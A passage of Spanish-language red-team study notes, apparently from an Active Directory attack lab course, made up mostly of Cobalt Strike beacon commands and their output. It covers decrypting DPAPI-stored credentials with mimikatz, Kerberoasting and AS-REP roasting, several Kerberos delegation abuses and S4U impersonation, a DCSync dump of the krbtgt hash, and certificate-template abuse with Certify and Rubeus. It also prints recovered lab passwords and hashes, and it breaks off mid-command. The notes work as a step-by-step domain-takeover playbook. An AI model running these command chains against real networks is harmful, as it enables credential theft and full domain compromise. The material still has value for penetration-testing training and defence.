Vault GUID : 4bf4c442-9b8a-41a0-b380-dd4a704ddb28
Vault Type : Web Credentials
Item count : 0
Vault GUID : 77bc582b-f0a6-4e15-4e80-61736b6f3b29
Vault Type : Windows Credentials
Item count : 1
SchemaGuid : 3e0e35be-1b77-43e7-b873-aed901b6275b
Resource : String: Domain:target=TERMSRV/sql-2.dev.cyberbotic.io
Identity : String: SQL-2\Administrator
PackageSid : (null)
Credential :
LastModified : 9/6/2022 9:12:12 AM
beacon> execute-assembly C:\Tools\Seatbelt\Seatbelt\bin\Release\Seatbelt.exe WindowsCredentialFiles
====== WindowsCredentialFiles ======
Folder : C:\Users\bfarmer\AppData\Local\Microsoft\Credentials\
FileName : 6C33AC85D0C4DCEAB186B3B2E5B1AC7C
Description : Local Credential Data
MasterKey : bfc5090d-22fe-4058-8953-47f6882f549e
Accessed : 9/6/2022 10:50:44 AM
Modified : 9/6/2022 10:50:44 AM
Size : 468
FileName : DFBE70A7E5CC19A398EBF1B96859CE5D
Description : Local Credential Data
MasterKey : bfc5090d-22fe-4058-8953-47f6882f549e
Accessed : 9/6/2022 10:50:44 AM
Modified : 9/6/2022 10:50:44 AM
Size : 11036
```
Seatbelt
Para obtener la llave de cifrado de las claves (qeu también viene cifrada)
```
beacon> ls C:\Users\bfarmer\AppData\Roaming\Microsoft\Protect\S-1-5-21-569305411-121244042-2357301523-1104
[*] Listing: C:\Users\bfarmer\AppData\Roaming\Microsoft\Protect\S-1-5-21-569305411-121244042-2357301523-1104\
Size Type Last Modified Name
---- ---- ------------- ----
740b fil 08/15/2022 17:34:31 bfc5090d-22fe-4058-8953-47f6882f549e
928b fil 08/15/2022 17:34:31 BK-DEV
24b fil 08/15/2022 17:34:31 Preferred
```
Para sacar la llave de cifrado
*Nota: es necesario ser admin local en la máquina y que la key esté cacheada en el lsass*
Método 1:
```
beacon> mimikatz !sekurlsa::dpapi
Authentication Id : 0 ; 1075454 (00000000:001068fe)
Session : RemoteInteractive from 2
User Name : bfarmer
Domain : DEV
Logon Server : DC-2
Logon Time : 9/6/2022 9:09:54 AM
SID : S-1-5-21-569305411-121244042-2357301523-1104
[00000000]
* GUID : {bfc5090d-22fe-4058-8953-47f6882f549e}
* Time : 9/6/2022 11:27:44 AM
* MasterKey : 8d15395a4bd40a61d5eb6e526c552f598a398d530ecc2f5387e07605eeab6e3b4ab440d85fc8c4368e0a7ee130761dc407a2c4d58fcd3bd3881fa4371f19c214
* sha1(key) : 897f7bf129e6a898ff4e20e9789009d5385be1f3
```
Método 2:
```
beacon> mimikatz dpapi::masterkey /in:C:\Users\bfarmer\AppData\Roaming\Microsoft\Protect\S-1-5-21-569305411-121244042-2357301523-1104\bfc5090d-22fe-4058-8953-47f6882f549e /rpc
[domainkey] with RPC
[DC] 'dev.cyberbotic.io' will be the domain
[DC] 'dc-2.dev.cyberbotic.io' will be the DC server
key : 8d15395a4bd40a61d5eb6e526c552f598a398d530ecc2f5387e07605eeab6e3b4ab440d85fc8c4368e0a7ee130761dc407a2c4d58fcd3bd3881fa4371f19c214
sha1: 897f7bf129e6a898ff4e20e9789009d5385be1f3
```
Para descrifrar el blob finalmente:
```
beacon> mimikatz dpapi::cred /in:C:\Users\bfarmer\AppData\Local\Microsoft\Credentials\6C33AC85D0C4DCEAB186B3B2E5B1AC7C /masterkey:8d15395a4bd40a61d5eb6e526c552f598a398d530ecc2f5387e07605eeab6e3b4ab440d85fc8c4368e0a7ee130761dc407a2c4d58fcd3bd3881fa4371f19c214
TargetName : Domain:target=TERMSRV/sql-2.dev.cyberbotic.io
UserName : SQL-2\Administrator
CredentialBlob : wIfY&cZ&d?QP9iMFEzckmj.34=@sg.*i
```
#### Credenciales de Tareas Programadas
En caso de existir tareas programadas que almacenen cred de usuario estarán en la ruta:
`C:\Window\system32\config\systemprofile\AppData\Local\Microsoft\Credentials`
```
Listar:
beacon> ls C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Credentials
Size Type Last Modified Name
---- ---- ------------- ----
10kb fil 08/30/2022 12:42:24 DFBE70A7E5CC19A398EBF1B96859CE5D
528b fil 08/16/2022 14:55:28 F3190EBE0498B77B4A85ECBABCA19B6E
GUID de la master key:
beacon> mimikatz dpapi::cred /in:C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Credentials\F3190EBE0498B77B4A85ECBABCA19B6E
guidMasterKey : {aaa23e6b-bba8-441d-923c-ec242d6690c3}
Dumpear las creds:
beacon> mimikatz !sekurlsa::dpapi
[00000000]
* GUID : {aaa23e6b-bba8-441d-923c-ec242d6690c3}
* Time : 9/6/2022 12:14:38 PM
* MasterKey : 10530dda04093232087d35345bfbb4b75db7382ed6db73806f86238f6c3527d830f67210199579f86b0c0f039cd9a55b16b4ac0a3f411edfacc593a541f8d0d9
* sha1(key) : cfbc842e78ee6713fa5dcb3c9c2d6c6d7c09f06c
Descifrar:
beacon> mimikatz dpapi::cred /in:C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Credentials\F3190EBE0498B77B4A85ECBABCA19B6E /masterkey:10530dda04093232087d35345bfbb4b75db7382ed6db73806f86238f6c3527d830f67210199579f86b0c0f039cd9a55b16b4ac0a3f411edfacc593a541f8d0d9
TargetName : Domain:batch=TaskScheduler:Task:{86042B87-C8D0-40A5-BB58-14A45356E01C}
UserName : DEV\jking
CredentialBlob : Qwerty123
```
### Kerberos
#### Kerberoasting
*Nota: Con rubeus*
*Nota: Para pasar más desapercibido se puede seleccionar a qué cuentas atacar con este método, ya que por defecto rubeus lo lanza a todas*
*Nota: Para crackear -m 13100*
```
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe kerberoast /simple /nowrap
[*] Action: Kerberoasting
[*] Searching the current domain for Kerberoastable users
[*] Total kerberoastable users : 3
$krb5tgs$23$*mssql_svc$dev.cyberbotic.io$MSSQLSvc/sql-2.dev.cyberbotic.io:1433@dev.cyberbotic.io*$CC1E7D[...]331F0E
$krb5tgs$23$*squid_svc$dev.cyberbotic.io$HTTP/squid.dev.cyberbotic.io@dev.cyberbotic.io*$55AACE[...]45F184
$krb5tgs$23$*honey_svc$dev.cyberbotic.io$HoneySvc/fake.dev.cyberbotic.io@dev.cyberbotic.io*$530955[...]626817
```
1. Seleccionar las cuentas:
```
beacon> execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(&(objectCategory=user)(servicePrincipalName=*))" --attributes cn,servicePrincipalName,samAccountName
[*] TOTAL NUMBER OF SEARCH RESULTS: 4
[+] cn : krbtgt
[+] servicePrincipalName : kadmin/changepw
[+] samaccountname : krbtgt
[+] cn : MS SQL Service
[+] servicePrincipalName : MSSQLSvc/sql-2.dev.cyberbotic.io:1433
[+] samaccountname : mssql_svc
[+] cn : Squid Proxy
[+] servicePrincipalName : HTTP/squid.dev.cyberbotic.io
[+] samaccountname : squid_svc
[+] cn : Honey Token
[+] servicePrincipalName : HoneySvc/fake.dev.cyberbotic.io
[+] samaccountname : honey_svc
```
2. Ejecutar kerberoasting en las cuentas seleccionadas con el parámetro /user:
```
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe kerberoast /user:mssql_svc /nowrap
[*] SamAccountName : mssql_svc
[*] DistinguishedName : CN=MS SQL Service,CN=Users,DC=dev,DC=cyberbotic,DC=io
[*] ServicePrincipalName : MSSQLSvc/sql-2.dev.cyberbotic.io:1433
[*] PwdLastSet : 8/15/2022 7:46:43 PM
[*] Supported ETypes : RC4_HMAC_DEFAULT
[*] Hash : $krb5tgs$23$*mssql_svc$dev.cyberbotic.io$MSSQLSvc/sql-2.dev.cyberbotic.io:1433@dev.cyberbotic.io*$CC1E7D[...]331F0E
```
#### ASREP Roasting
*Nota: Para crackear m 18200*
1. Bucar las cuentas que no tienen pre-auth habilitado
```
beacon> execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(&(objectCategory=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))" --attributes cn,distinguishedname,samaccountname
[*] TOTAL NUMBER OF SEARCH RESULTS: 1
[+] cn : Squid Proxy
[+] distinguishedname : CN=Squid Proxy,CN=Users,DC=dev,DC=cyberbotic,DC=io
[+] samaccountname : squid_svc
```
2. Ejecutar el ataque en las cuentas seleccionadas:
```
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asreproast /user:squid_svc /nowrap
[*] SamAccountName : squid_svc
[*] DistinguishedName : CN=Squid Proxy,CN=Users,DC=dev,DC=cyberbotic,DC=io
[*] Using domain controller: dc-2.dev.cyberbotic.io (10.10.122.10)
[*] Building AS-REQ (w/o preauth) for: 'dev.cyberbotic.io\squid_svc'
[+] AS-REQ w/o preauth successful!
[*] AS-REP hash:
$krb5asrep$squid_svc@dev.cyberbotic.io:3BD6BB[...]D02A6F
```
#### Unconstrained Delegation
*Nota: Los controladores de dominio siempre tienen habilitada esta característica*
1. Listar los equipos que permiten *unconstrained delegation*
```
beacon> execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" --attributes samaccountname,dnshostname
[*] TOTAL NUMBER OF SEARCH RESULTS: 2
[+] samaccountname : DC-2$
[+] dnshostname : dc-2.dev.cyberbotic.io
[+] samaccountname : WEB$
[+] dnshostname : web.dev.cyberbotic.io
```
1. Listar con Rubeus los tickets disponibles en el cache de la máquina (el que diga krbtgt es TGT de usuario)
```
beacon> getuid
[*] You are NT AUTHORITY\SYSTEM (admin)
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe triage
---------------------------------------------------------------------------------------------------------------
| LUID | UserName | Service | EndTime |
---------------------------------------------------------------------------------------------------------------
| 0x14794e | nlamb @ DEV.CYBERBOTIC.IO | krbtgt/DEV.CYBERBOTIC.IO | 10/4/2022 9:35:38
```
2. Extraer el ticket y generar una nueva sesión
```
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe dump /luid:0x14794e /nowrap
doIFwj [...snip...] MuSU8=
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:DEV /username:nlamb /password:FakePass /ticket:doIFwj[...]MuSU8=
[*] Using DEV\nlamb:FakePass
[*] Showing process : False
[*] Username : nlamb
[*] Domain : DEV
[*] Password : FakePass
[+] Process : 'C:\Windows\System32\cmd.exe' successfully created with LOGON_TYPE = 9
[+] ProcessID : 1540
[+] Ticket successfully imported!
[+] LUID : 0x3206fb
beacon> steal_token 1540
```
**Automatizar la obtención de los tickets**
1. Poner a rubeus en modo monitor definiendo un intervalo de tiempo determinado
```
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe monitor /interval:10 /nowrap
[*] Action: TGT Monitoring
[*] Monitoring every 10 seconds for new TGTs
```
2. Ejecutar SharpSpoolTrigger
*Se ejecuta para obligar a una máquina a interactuar con aquella donde se tiene el beacon y así capturar el TGT de la cuenta de máquina, en este caso el beacon está en web y se quiere el de dc-2*
```
beacon> execute-assembly C:\Tools\SharpSystemTriggers\SharpSpoolTrigger\bin\Release\SharpSpoolTrigger.exe dc-2.dev.cyberbotic.io web.dev.cyberbotic.io
```
#### Constrained Delegation
1. Buscar equipos y cuentas con la característica habilitada (en el ejemplo solo equipos, pero cambiando computer por user)
(donde el atributo `msds-allowedtodelegateto` no esté vacío)
```
beacon> execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(&(objectCategory=computer)(msds-allowedtodelegateto=*))" --attributes dnshostname,samaccountname,msds-allowedtodelegateto --json
[*] TOTAL NUMBER OF SEARCH RESULTS: 1
[
{
"dnshostname": "sql-2.dev.cyberbotic.io",
"samaccountname": "SQL-2$",
"msds-allowedtodelegateto": [
"cifs/dc-2.dev.cyberbotic.io/dev.cyberbotic.io",
"cifs/dc-2.dev.cyberbotic.io",
"cifs/DC-2",
"cifs/dc-2.dev.cyberbotic.io/DEV",
"cifs/DC-2/DEV"
]
}
]
```
2. Solicitar el ticket de donde se está ejecutando el servicio
```
beacon> run hostname
sql-2
beacon> getuid
[*] You are NT AUTHORITY\SYSTEM (admin)
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe triage
---------------------------------------------------------------------------------------------------------------
| LUID | UserName | Service | EndTime |
---------------------------------------------------------------------------------------------------------------
| 0x3e4 | sql-2$ @ DEV.CYBERBOTIC.IO | krbtgt/DEV.CYBERBOTIC.IO | 9/6/2022 7:06:50 PM |
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe dump /luid:0x3e4 /service:krbtgt /nowrap
ServiceName : krbtgt/DEV.CYBERBOTIC.IO
ServiceRealm : DEV.CYBERBOTIC.IO
UserName : SQL-2$
UserRealm : DEV.CYBERBOTIC.IO
StartTime : 9/6/2022 9:06:50 AM
EndTime : 9/6/2022 7:06:50 PM
RenewTill : 9/13/2022 9:06:50 AM
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : aes256_cts_hmac_sha1
Base64(key) : pj1tbiijFCGHkM6S58ShgxxPi8FvA1UB5liBqrSWPCg=
Base64EncodedTicket :
doIFpD[...]MuSU8=
```
3. Realizar un S4U request para obtener un TGS usable (en el ejemplo para CIFS)
> /msdsspn: servicio que se permite delegar a SQL-2
> /impersonateuser: usuario a impersonar que debe ser admin local al menos
> /user: usuario que puede ejecutar la delegación
> /ticket: TGT del usuario
```
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe s4u /impersonateuser:nlamb /msdsspn:cifs/dc-2.dev.cyberbotic.io /user:sql-2$ /ticket:doIFLD[...snip...]MuSU8= /nowrap
[*] Action: S4U
[*] Building S4U2self request for: 'SQL-2$@DEV.CYBERBOTIC.IO'
[*] Using domain controller: dc-2.dev.cyberbotic.io (10.10.122.10)
[*] Sending S4U2self request to 10.10.122.10:88
[+] S4U2self success!
[*] Got a TGS for 'nlamb' to 'SQL-2$@DEV.CYBERBOTIC.IO'
[*] base64(ticket.kirbi):
doIFnD[...]FMLTIk
[*] Impersonating user 'nlamb' to target SPN 'cifs/dc-2.dev.cyberbotic.io'
[*] Building S4U2proxy request for service: 'cifs/dc-2.dev.cyberbotic.io'
[*] Using domain controller: dc-2.dev.cyberbotic.io (10.10.122.10)
[*] Sending S4U2proxy request to domain controller 10.10.122.10:88
[+] S4U2proxy success!
[*] base64(ticket.kirbi) for SPN 'cifs/dc-2.dev.cyberbotic.io':
doIGaD[...]ljLmlv
```
4. Finalmente ejecuta un S4U2Self y luego un S4U2Proxy para obtener el ticket:
```
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:DEV /username:nlamb /password:FakePass /ticket:doIGaD[...]ljLmlv
[*] Using DEV\nlamb:FakePass
[*] Showing process : False
[*] Username : nlamb
[*] Domain : DEV
[*] Password : FakePass
[+] Process : 'C:\Windows\System32\cmd.exe' successfully created with LOGON_TYPE = 9
[+] ProcessID : 5540
[+] Ticket successfully imported!
[+] LUID : 0x3d3194
beacon> steal_token 5540
```
#### Alternate Service Name
Permite solicitar un TGT para cualquier servicio donde esté habilitado el contrained delegation. Siguiendo el ejemplo anterior de SQL2 y el servicio CIFS. Usando la flag /altservice se puede pedir el ticket para cualquier servicio. En el ejemplo se quiere acceso al servicio LDAP.
*Nota: con un ticket para el servicio de LDAP se puede hacer un DSYNC contra el DC*
```
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe s4u /impersonateuser:nlamb /msdsspn:cifs/dc-2.dev.cyberbotic.io /altservice:ldap /user:sql-2$ /ticket:doIFpD[...]MuSU8= /nowrap
[*] Action: S4U
[*] Building S4U2self request for: 'SQL-2$@DEV.CYBERBOTIC.IO'
[*] Using domain controller: dc-2.dev.cyberbotic.io (10.10.122.10)
[*] Sending S4U2self request to 10.10.122.10:88
[+] S4U2self success!
[*] Got a TGS for 'nlamb' to 'SQL-2$@DEV.CYBERBOTIC.IO'
[*] base64(ticket.kirbi):
doIFnD[...]FMLTIk
[*] Impersonating user 'nlamb' to target SPN 'cifs/dc-2.dev.cyberbotic.io'
[*] Final ticket will be for the alternate service 'ldap'
[*] Building S4U2proxy request for service: 'cifs/dc-2.dev.cyberbotic.io'
[*] Using domain controller: dc-2.dev.cyberbotic.io (10.10.122.10)
[*] Sending S4U2proxy request to domain controller 10.10.122.10:88
[+] S4U2proxy success!
[*] Substituting alternative service name 'ldap'
[*] base64(ticket.kirbi) for SPN 'ldap/dc-2.dev.cyberbotic.io':
doIGaD[...]ljLmlv
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:DEV /username:nlamb /password:FakePass /ticket:doIGaD[...]ljLmlv
[*] Using DEV\nlamb:FakePass
[*] Showing process : False
[*] Username : nlamb
[*] Domain : DEV
[*] Password : FakePass
[+] Process : 'C:\Windows\System32\cmd.exe' successfully created with LOGON_TYPE = 9
[+] ProcessID : 2580
[+] Ticket successfully imported!
[+] LUID : 0x4b328e
beacon> steal_token 2580
```
**DSCYNC**
```
beacon> dcsync dev.cyberbotic.io DEV\krbtgt
[DC] 'dev.cyberbotic.io' will be the domain
[DC] 'dc-2.dev.cyberbotic.io' will be the DC server
[DC] 'DEV\krbtgt' will be the user account
[rpc] Service : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
Object RDN : krbtgt
** SAM ACCOUNT **
SAM Username : krbtgt
Account Type : 30000000 ( USER_OBJECT )
User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Account expiration :
Password last change : 8/15/2022 4:01:04 PM
Object Security ID : S-1-5-21-569305411-121244042-2357301523-502
Object Relative ID : 502
Credentials:
Hash NTLM: 9fb924c244ad44e934c390dc17e02c3d
ntlm- 0: 9fb924c244ad44e934c390dc17e02c3d
lm - 0: 207d5e08551c51892309c0cf652c353b
* Primary:Kerberos-Newer-Keys *
Default Salt : DEV.CYBERBOTIC.IOkrbtgt
Default Iterations : 4096
Credentials
aes256_hmac (4096) : 51d7f328ade26e9f785fd7eee191265ebc87c01a4790a7f38fb52e06563d4e7e
aes128_hmac (4096) : 6fb62ed56c7de778ca5e4fe6da6d3aca
des_cbc_md5 (4096) : 629189372a372fda
```
#### S4U2Self Abuse
Para hacer uso de un TGT de una sesión de máquina e impersonar a un usuario que se sabe es administrador local. En Rubeus se realiza con el parámetro /self.
En el ejemplo se tiene el ticket del dc2 pero para poder acceder al equipo (usar el servicio CIFS se necesita de un usuario, en este caso domain admin)
```
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe s4u /impersonateuser:nlamb /self /altservice:cifs/dc-2.dev.cyberbotic.io /user:dc-2$ /ticket:doIFuj[...]lDLklP /nowrap
[*] Action: S4U
[*] Building S4U2self request for: 'DC-2$@DEV.CYBERBOTIC.IO'
[*] Using domain controller: dc-2.dev.cyberbotic.io (10.10.122.10)
[*] Sending S4U2self request to 10.10.122.10:88
[+] S4U2self success!
[*] Substituting alternative service name 'cifs/dc-2.dev.cyberbotic.io'
[*] Got a TGS for 'nlamb' to 'cifs@DEV.CYBERBOTIC.IO'
[*] base64(ticket.kirbi):
doIFyD[...]MuaW8=
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:DEV /username:nlamb /password:FakePass /ticket:doIFyD[...]MuaW8=
[*] Using DEV\nlamb:FakePass
[*] Showing process : False
[*] Username : nlamb
[*] Domain : DEV
[*] Password : FakePass
[+] Process : 'C:\Windows\System32\cmd.exe' successfully created with LOGON_TYPE = 9
[+] ProcessID : 2664
[+] Ticket successfully imported!
[+] LUID : 0x4ff935
beacon> steal_token 2664
```
#### Resource-Based Constrained Delegation
Requisitos:
1. El equipo en el cual se pueda modificar `msDS-AllowedToActOnBehalfOfOtherIdentity`
2. Tener control de otro *Principal* que tenga el SPN
*Nota: para volver al estado original*
```
beacon> powershell Get-DomainComputer -Identity dc-2 | Set-DomainObject -Clear msDS-AllowedToActOnBehalfOfOtherIdentity
```
1. Búsqueda:
Se busca mediante powershell y el que hace match corresponde al ejemplificado acá:
```
beacon> powershell Get-DomainComputer | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ActiveDirectoryRights -match "WriteProperty|GenericWrite|GenericAll|WriteDacl" -and $_.SecurityIdentifier -match "S-1-5-21-569305411-121244042-2357301523-[\d]{4,10}" }
AceQualifier : AccessAllowed
ObjectDN : CN=DC-2,OU=Domain Controllers,DC=dev,DC=cyberbotic,DC=io
ActiveDirectoryRights : Self, WriteProperty
ObjectAceType : All
ObjectSID : S-1-5-21-569305411-121244042-2357301523-1000
InheritanceFlags : ContainerInherit
BinaryLength : 56
AceType : AccessAllowedObject
ObjectAceFlags : InheritedObjectAceTypePresent
IsCallback : False
PropagationFlags : None
SecurityIdentifier : S-1-5-21-569305411-121244042-2357301523-1107
AccessMask : 40
AuditFlags : None
IsInherited : True
AceFlags : ContainerInherit, Inherited
InheritedObjectAceType : Computer
OpaqueLength : 0
beacon> powershell ConvertFrom-SID S-1-5-21-569305411-121244042-2357301523-1107
DEV\Developers
```
2. Se usa una máquina en la cual se tienen altos privilegios (en este caso workstation 2) y se solicita su SID.
```
beacon> powershell Get-DomainComputer -Identity wkstn-2 -Properties objectSid
objectsid
---------
S-1-5-21-569305411-121244042-2357301523-1109
```
3. Se crea un descriptor de seguridad usando el SID obtenido:
```
$rsd = New-Object Security.AccessControl.RawSecurityDescriptor "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-569305411-121244042-2357301523-1109)"
$rsdb = New-Object byte[] ($rsd.BinaryLength)
$rsd.GetBinaryForm($rsdb, 0)
```
4. Se setea en el objeto que se quiere modificar (`msDS-AllowedToActOnBehalfOfOtherIdentity`)
```
beacon> powershell $rsd = New-Object Security.AccessControl.RawSecurityDescriptor "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-569305411-121244042-2357301523-1109)"; $rsdb = New-Object byte[] ($rsd.BinaryLength); $rsd.GetBinaryForm($rsdb, 0); Get-DomainComputer -Identity "dc-2" | Set-DomainObject -Set @{'msDS-AllowedToActOnBehalfOfOtherIdentity' = $rsdb} -Verbose
Setting 'msDS-AllowedToActOnBehalfOfOtherIdentity' to '1 0 4 128 20 0 0 0 0 0 0 0 0 0 0 0 36 0 0 0 1 2 0 0 0 0 0 5 32 0 0 0 32 2 0 0 2 0 44 0 1 0 0 0 0 0 36 0 255 1 15 0 1 5 0 0 0 0 0 5 21 0 0 0 67 233 238 33 138 9 58 7 19 145 129 140 85 4 0 0' for object 'DC-2$'
beacon> powershell Get-DomainComputer -Identity "dc-2" -Properties msDS-AllowedToActOnBehalfOfOtherIdentity
msds-allowedtoactonbehalfofotheridentity
----------------------------------------
{1, 0, 4, 128...}
```
5. Desde el equipo comprometido (workstation-2) se usa el ataque S4U con Rubeus, dado que requiere un TGT se extrae directamente (recordar que se necesita acceso de admin)
```
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe triage
[*] Current LUID : 0x3e7
------------------------------------------------------------------------------------------------------------------
| LUID | UserName | Service | EndTime |
------------------------------------------------------------------------------------------------------------------
| 0x3e4 | wkstn-2$ @ DEV.CYBERBOTIC.IO | krbtgt/DEV.CYBERBOTIC.IO | 9/13/2022 7:27:12 PM |
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe dump /luid:0x3e4 /service:krbtgt /nowrap
[*] Target service : krbtgt
[*] Target LUID : 0x3e4
[*] Current LUID : 0x3e7
UserName : WKSTN-2$
Domain : DEV
LogonId : 0x3e4
UserSID : S-1-5-20
AuthenticationPackage : Negotiate
LogonType : Service
LogonTime : 9/13/2022 9:26:48 AM
LogonServer :
LogonServerDNSDomain :
UserPrincipalName : WKSTN-2$@dev.cyberbotic.io
ServiceName : krbtgt/DEV.CYBERBOTIC.IO
ServiceRealm : DEV.CYBERBOTIC.IO
UserName : WKSTN-2$
UserRealm : DEV.CYBERBOTIC.IO
StartTime : 9/13/2022 9:27:12 AM
EndTime : 9/13/2022 7:27:12 PM
RenewTill : 9/20/2022 9:27:12 AM
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : aes256_cts_hmac_sha1
Base64(key) : qEQBH1TdRRjZiZ0iXbeCy4Z3MsOf30l8lLTNE4InemY=
Base64EncodedTicket :
doIFuD[...]5JTw==
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe s4u /user:WKSTN-2$ /impersonateuser:nlamb /msdsspn:cifs/dc-2.dev.cyberbotic.io /ticket:doIFuD[...]5JTw== /nowrap
[*] Building S4U2self request for: 'WKSTN-2$@DEV.CYBERBOTIC.IO'
[*] Using domain controller: dc-2.dev.cyberbotic.io (10.10.122.10)
[*] Sending S4U2self request to 10.10.122.10:88
[+] S4U2self success!
[*] Got a TGS for 'nlamb' to 'WKSTN-2$@DEV.CYBERBOTIC.IO'
[*] base64(ticket.kirbi):
doIFoD[...]0yJA==
[*] Impersonating user 'nlamb' to target SPN 'cifs/dc-2.dev.cyberbotic.io'
[*] Building S4U2proxy request for service: 'cifs/dc-2.dev.cyberbotic.io'
[*] Using domain controller: dc-2.dev.cyberbotic.io (10.10.122.10)
[*] Sending S4U2proxy request to domain controller 10.10.122.10:88
[+] S4U2proxy success!
[*] base64(ticket.kirbi) for SPN 'cifs/dc-2.dev.cyberbotic.io':
doIGcD[...]MuaW8=
```
6. Finalmente se pasa el ticket a una sesión
```
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:DEV /username:nlamb /password:FakePass /ticket:doIGcD[...]MuaW8=
[*] Using DEV\nlamb:FakePass
[*] Showing process : False
[*] Username : nlamb
[*] Domain : DEV
[*] Password : FakePass
[+] Process : 'C:\Windows\System32\cmd.exe' successfully created with LOGON_TYPE = 9
[+] ProcessID : 4092
[+] Ticket successfully imported!
[+] LUID : 0x6cb934
beacon> steal_token 4092
[+] Impersonated DEV\bfarmer
```
### AD Certificate Services
#### Encontrar CA (Certificate Authorities) en el forest
Herramienta Certify con cas como parámetro:
```
beacon> execute-assembly C:\Tools\Certify\Certify\bin\Release\Certify.exe cas
Enterprise CA Name : ca
DNS Hostname : dc-1.cyberbotic.io
FullName : dc-1.cyberbotic.io\ca
Flags : SUPPORTS_NT_AUTHENTICATION, CA_SERVERTYPE_ADVANCED
Cert SubjectName : CN=ca, DC=cyberbotic, DC=io
Cert Thumbprint : 95AF7043BD6241CEE92E6DC6CB8D22494E396CCF
Cert Serial : 17DDB078863F61884B680FE6F59211AD
Cert Start Date : 8/15/2022 3:42:59 PM
Cert End Date : 8/15/2047 3:52:59 PM
Cert Chain : CN=ca,DC=cyberbotic,DC=io
Enterprise CA Name : sub-ca
DNS Hostname : dc-2.dev.cyberbotic.io
FullName : dc-2.dev.cyberbotic.io\sub-ca
Flags : SUPPORTS_NT_AUTHENTICATION, CA_SERVERTYPE_ADVANCED
Cert SubjectName : CN=sub-ca, DC=dev, DC=cyberbotic, DC=io
Cert Thumbprint : 697B1C2CD65B2ADC80C3D0CE83A6FB889B0CA08E
Cert Serial : 13000000046EF818036CF8C99F000000000004
Cert Start Date : 8/15/2022 4:06:13 PM
Cert End Date : 8/15/2024 4:16:13 PM
Cert Chain : CN=ca,DC=cyberbotic,DC=io -> CN=sub-ca,DC=dev,DC=cyberbotic,DC=io
```
Pasos para abusar de los Certificados Vulnerables:
1. Encontrar certificado vulnerable
```
beacon> execute-assembly C:\Tools\Certify\Certify\bin\Release\Certify.exe find /vulnerable
```
2. Solicitar un certificado para un usuario con altos privilegios
```
beacon> getuid
[*] You are DEV\bfarmer
beacon> execute-assembly C:\Tools\Certify\Certify\bin\Release\Certify.exe request /ca:dc-2.dev.cyberbotic.io\sub-ca /template:CustomUser /altname:nlamb
[*] Action: Request a Certificates
[*] Current user context : DEV\bfarmer
[*] No subject name specified, using current context as subject.
[*] Template : CustomUser
[*] Subject : CN=Bob Farmer, CN=Users, DC=dev, DC=cyberbotic, DC=io
[*] AltName : nlamb
[*] Certificate Authority : dc-2.dev.cyberbotic.io\sub-ca
[*] CA Response : The certificate had been issued.
[*] Request ID : 11
[*] cert.pem :
-----BEGIN RSA PRIVATE KEY-----
[...]
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
[...]
-----END CERTIFICATE-----
[*] Convert with: openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
Certify completed in 00:00:05.4521116
```
2. Guardar la llave privada y certificado en un archivo cert.pem y usarl openssl para llevarlo a formato pfx
```
ubuntu@DESKTOP-3BSK7NO ~> openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
Enter Export Password: pass123
Verifying - Enter Export Password: pass123
```
3. Encodearlo a b64 para usarlo en rubeus
```
ubuntu@DESKTOP-3BSK7NO ~> cat cert.pfx | base64 -w 0
MIIM7w[...]ECAggA
```
4. Solicitar el TGT del usuario con rubeus y su certificado
```
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:nlamb /certificate:MIIM7w[...]ECAggA /password:pass123 /nowrap
